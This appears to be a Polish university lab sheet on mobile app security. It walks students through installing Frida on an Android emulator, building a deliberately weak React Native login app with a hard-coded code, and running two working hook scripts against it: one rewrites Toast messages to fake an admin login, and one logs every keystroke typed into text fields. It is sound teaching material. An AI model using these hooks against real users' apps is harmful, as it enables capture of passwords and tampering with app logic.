Bezpieczeństwo aplikacji mobilnych

Laboratorium 3

Analiza dynamiczna i manipulacja procesem (Frida w React Native)

Cel:

1. Zrozumieć architekturę React Native w kontekście bezpieczeństwa (Mostek JS-Native).
2. Przygotować środowisko Frida do pracy z własnym buildem aplikacji (Development Build).
3. **Bypass:** Przeprowadzić manipulację logiką aplikacji poprzez przechwycenie komunikatów systemowych (Toast).
4. **Sniffing:** Przechwycić dane wpisywane przez użytkownika (Keylogger) bezpośrednio z warstwy UI Androida.

1) Przygotowanie środowiska (Expo & Frida)

1. Wymagania wstępne

- Zainstalowane Node.js, Android Studio oraz Python.
- **Ważne:** Do tego laboratorium **nie używamy aplikacji Expo Go**. Będziemy generować kod natywny (Prebuild).

2. Instalacja narzędzi Frida (PC)

- W terminalu zainstaluj narzędzia klienckie: `pip install frida-tools`
- Zweryfikuj instalację: `frida --version`

3. Konfiguracja serwera na Emulatorze

- Uruchom emulator (zalecany obraz **Google APIs**, który ułatwia dostęp do roota).
- Pobierz plik `frida-server` dla Androida (architektura `x86` lub `x86_64` dla emulatora) z oficjalnego GitHub releases.
- Wrzuć serwer na urządzenie i uruchom:

```
adb push frida-server /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server"
adb shell "/data/local/tmp/frida-server &"
```

- Sprawdź połączenie z komputera: `frida-ps -U`. Powinieneś widzieć listę procesów Androida.

2) Przygotowanie aplikacji "Ofiary" (Expo)

Cel: Stworzyć prostą aplikację, która posłuży jako cel ataku.

1. Utwórz projekt i wygeneruj kod natywny

- Utwórz nową aplikację: npx create-expo-app Lab3Frida
- Wejdź do katalogu i wykonaj *Prebuild* (wygenerowanie folderu android/): npx expo prebuild *(Gdy zapyta o package name, wpisz np.: com.student.lab5frida)*

2. Kod aplikacji (App.js)

- Zastąp zawartość App.js poniższym kodem. Aplikacja symuluje proste logowanie z weryfikacją.

```
import { StyleSheet, Text, View, Button, ToastAndroid, TextInput } from 'react-native';
import { useState } from 'react';

export default function App() {
 const [code, setCode] = useState("");

 const checkCode = () => {
  if (code === "1234") {
   ToastAndroid.show("Dostęp przyznany: Jesteś Adminem!", ToastAndroid.LONG);
  } else {
   ToastAndroid.show("Błąd: Nieprawidłowy kod.", ToastAndroid.SHORT);
  }
 };

 return (
  <View style={styles.container}>
   <Text style={{fontSize: 20, marginBottom: 10}}>Laboratorium Frida</Text>
   <Text>Podaj kod dostępu:</Text>
   <TextInput
    style={styles.input}
    onChangeText={setCode}
    placeholder="Wpisz hasło..."
   />
   <Button title="Weryfikuj" onPress={checkCode} />
  </View>
 );
}

const styles = StyleSheet.create({
 container: { flex: 1, backgroundColor: '#fff', alignItems: 'center', justifyContent: 'center' },
 input: { borderWidth: 1, width: 250, margin: 15, padding: 10, borderRadius: 5 }
});
```

3. Uruchomienie (Development Build)

- Uruchom aplikację na emulatorze: npx expo run:android
- Sprawdź działanie: wpisz błędne hasło -> kliknij przycisk -> zobacz komunikat "Błąd".

Warunek akceptacji: Znasz nazwę pakietu (com.student.lab3frida) i aplikacja działa na emulatorze.

3) Bypass logiczny (Zmiana tekstu Toast)

Kontekst: Zmodyfikujemy działanie aplikacji tak, aby informowała nas o sukcesie, nawet gdy wpiszemy błędne hasło. Zrobimy to poprzez przechwycenie systemowego wywołania tworzenia "dymka" (Toast).

1. Przygotowanie skryptu bypass_toast.js Utwórz plik z poniższym kodem JS:

```
Java.perform(function () {
   var Toast = Java.use("android.widget.Toast");
   var StringClass = Java.use("java.lang.String");

   // Hookujemy metodę makeText
   Toast.makeText.overload('android.content.Context', 'java.lang.CharSequence', 'int').implementation =
function (context, text, duration) {

      var originalText = text.toString();
      console.log("[*] Przechwycono Toast: " + originalText);

      // Jeśli aplikacja chce pokazać błąd, podmieniamy go na sukces
      if (originalText.includes("Błąd")) {
         console.log("[!] Wykryto blokadę. Wykonuję Bypass...");
         var newText = StringClass.$new("HACKED: Jesteś Adminem (Bypass)!");
         return this.makeText(context, newText, duration);
      }

      return this.makeText(context, text, duration);
   };
});
```

2. Wykonanie ataku

- Uruchom Fridę: frida -U -f com.student.lab3frida -l bypass_toast.js
- Wpisz **błędne** hasło w aplikacji i kliknij "Weryfikuj".

Warunek akceptacji: Aplikacja wyświetla komunikat "HACKED: Jesteś Adminem...", mimo że logika weryfikacji w JS zwróciła fałsz.

4) Sniffing Inputu (Keylogger)

Kontekst: Każde pole tekstowe w React Native (TextInput) jest pod spodem natywnym elementem EditText, który musi być renderowany przez system Android. Podepniemy się pod systemową metodę onTextChanged, aby przechwycić wszystko, co użytkownik pisze, w czasie rzeczywistym.

1. Przygotowanie skryptu keylogger.js Utwórz plik z poniższym kodem. Skrypt ten filtruje elementy UI, skupiając się tylko na polach edycyjnych (EditText).

```
Java.perform(function () {
   // Hookujemy klasę TextView (rodzica EditText)
   var TextView = Java.use("android.widget.TextView");

   // onTextChanged jest wywoływane przez system przy każdym naciśnięciu klawisza
   TextView.onTextChanged.overload('java.lang.CharSequence', 'int', 'int', 'int').implementation = function
(text, start, before, after) {

      // Sprawdzamy nazwę klasy elementu, z którego pochodzi tekst
      var className = this.$className;

      // Filtrujemy: Interesują nas tylko pola edycyjne (ReactEditText)
      // Pomijamy zwykłe etykiety (TextView, Button itp.)
      if (className.includes("EditText")) {
         var content = text.toString();

         if (content.length > 0) {
            console.log("[KEYLOGGER] Wpisano: " + content);
         }
      }

      // Obowiązkowo wywołujemy oryginalną metodę, aby aplikacja działała poprawnie
      this.onTextChanged(text, start, before, after);
   };

   console.log("--- Keylogger Uruchomiony ---");
});
```

2. Uruchomienie nasłuchu

- Uruchom Fridę z nowym skryptem: frida -U -f com.student.lab3frida -l keylogger.js
- Zaczekaj, aż aplikacja się uruchomi.
- Kliknij w pole "Podaj kod dostępu" i zacznij wpisywać dowolny tekst.

3. Obserwacja

- Spójrz na terminal. Powinieneś widzieć, jak tekst jest budowany znak po znaku, np.: [KEYLOGGER] Wpisano: T [KEYLOGGER] Wpisano: Ta [KEYLOGGER] Wpisano: Taj

Warunek akceptacji: W terminalu Fridy wyświetlana jest treść wpisywana w pole tekstowe aplikacji w czasie rzeczywistym.